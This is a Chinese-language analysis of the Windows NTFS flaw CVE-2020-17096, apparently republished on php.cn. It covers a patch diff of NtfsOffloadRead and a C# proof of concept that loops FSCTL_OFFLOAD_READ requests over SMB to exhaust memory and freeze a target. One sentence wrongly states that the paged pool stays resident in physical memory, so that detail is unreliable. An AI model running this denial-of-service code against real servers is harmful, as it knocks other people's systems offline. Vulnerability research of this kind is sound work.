以下是对微软2020年12月12日发布的cve-2020-17096漏洞的分析,评估了远程代码执行漏洞的利用可能性。在周二的最后一次补丁更新中,这个漏洞引起了我们的关注。
差异化的ntfs.sys
通过使用BinDiff对比打了补丁的驱动和未打补丁的版本,我们发现仅有一个函数发生了变化,即NtfsOffloadRead。
该函数较大,通过仔细比较两个驱动版本,我们发现唯一的代码变动位于函数的开头:

uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp) {
PVOID decoded = NtfsDecodeFileObjectForRead(...);
if (!decoded) {
if (NtfsStatusDebugFlags) {
// ...
}
// *** 变动1:第一个参数从NULL改为IrpContext
NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
// *** 变动2:以下if块被完全删除
if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
*(PIRP *)(IrpContext + 0x68) = NULL;
}
if (NtfsStatusDebugFlags) {
// ...
}
return 0xc000000d;
}
// 函数的其余部分...
}触发脆弱的代码
从函数名称来看,我们推测它负责处理卸载读取请求,这是Windows 8中引入的卸载数据传输功能的一部分。通过发送FSCTL_OFFLOAD_READ控制代码,可以通过SMB远程请求卸载读取。
实际上,通过发送FSCTL_OFFLOAD_READ控制代码,我们看到NtfsOffloadRead函数被调用,但第一个if分支被跳过。经过实验,我们发现了一种触发分支的方法,即在发送卸载读取请求之前打开一个文件夹,而不是一个文件。
探讨开发方案
我们分别研究了这两个变化,并尝试以最简单的方式对易受攻击的计算机造成一些麻烦。
第一个变化。NtfsExtendedCompleteRequestInternal函数没有接收IrpContext参数。
简单观察NtfsExtendedCompleteRequestInternal,如果第一个参数是NULL,似乎会被忽略。否则,IrpContext结构的多个字段将被使用ExFreePoolWithTag等函数释放。这段代码较长,我们没有彻底分析,但从快速浏览中,我们没有找到滥用这些在易受攻击版本中未被调用的函数的方法。我们观察到,认为这个bug会导致非分页池的内存泄漏,而分页池是保证驻留在物理内存中的。
我们实现了一个小工具,在无限循环中发出卸载读取请求。几个小时后,我们的易受攻击的虚拟机耗尽了内存并冻结,不再响应任何输入。下面是任务管理器的截图和我们使用的代码。
第二个变化。一个IRP指针字段,IrpContext的一部分,被设置为NULL。
根据我们的快速尝试,我们没有找到滥用IRP指针字段被设置为NULL的方法。如果你有任何想法,请告诉我们。
那远程代码执行呢?
我们和你一样好奇。不幸的是,我们能够投入的时间有限,无法满足我们的好奇心。我们尽可能地找到了漏洞代码,并触发它,导致内存泄漏和最终的拒绝服务,但我们无法利用它进行远程代码执行。
这里可能没有实际的远程代码执行,为了以防万一,我们将其标记为“坏邻居”ICMPv6漏洞(CVE-2020-16898)。如果你有任何见解,我们将很乐意听到。
CVE-2020-17096 POC(拒绝服务)
之前闲置的虚拟机,配置标准,没有运行的程序。
触发内存泄漏后,同样的空闲虚拟机,无响应。
using (var trans = new Smb2ClientTransport()) {
var ipAddress = System.Net.IPAddress.Parse(ip);
trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);
trans.Create(
remote_path,
FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,
FsImpersonationLevel.Anonymous,
FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,
FsCreateDisposition.FILE_CREATE,
FsCreateOption.FILE_DIRECTORY_FILE);
FSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();
offloadReadInput.Size = 32;
offloadReadInput.FileOffset = 0;
offloadReadInput.CopyLength = 0;
byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);
while (true) {
trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
trans.ExpectIoctlPayload(out _, out _);
}
}导致内存泄漏和最终拒绝服务的C#代码。与Windows协议测试套件一起使用。
参考文献:
https://www.php.cn/link/4b2e0217a0ed46be7207c0acfe2fee53
以上就是NTFS远程代码执行(CVE-2020-17096)分析的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号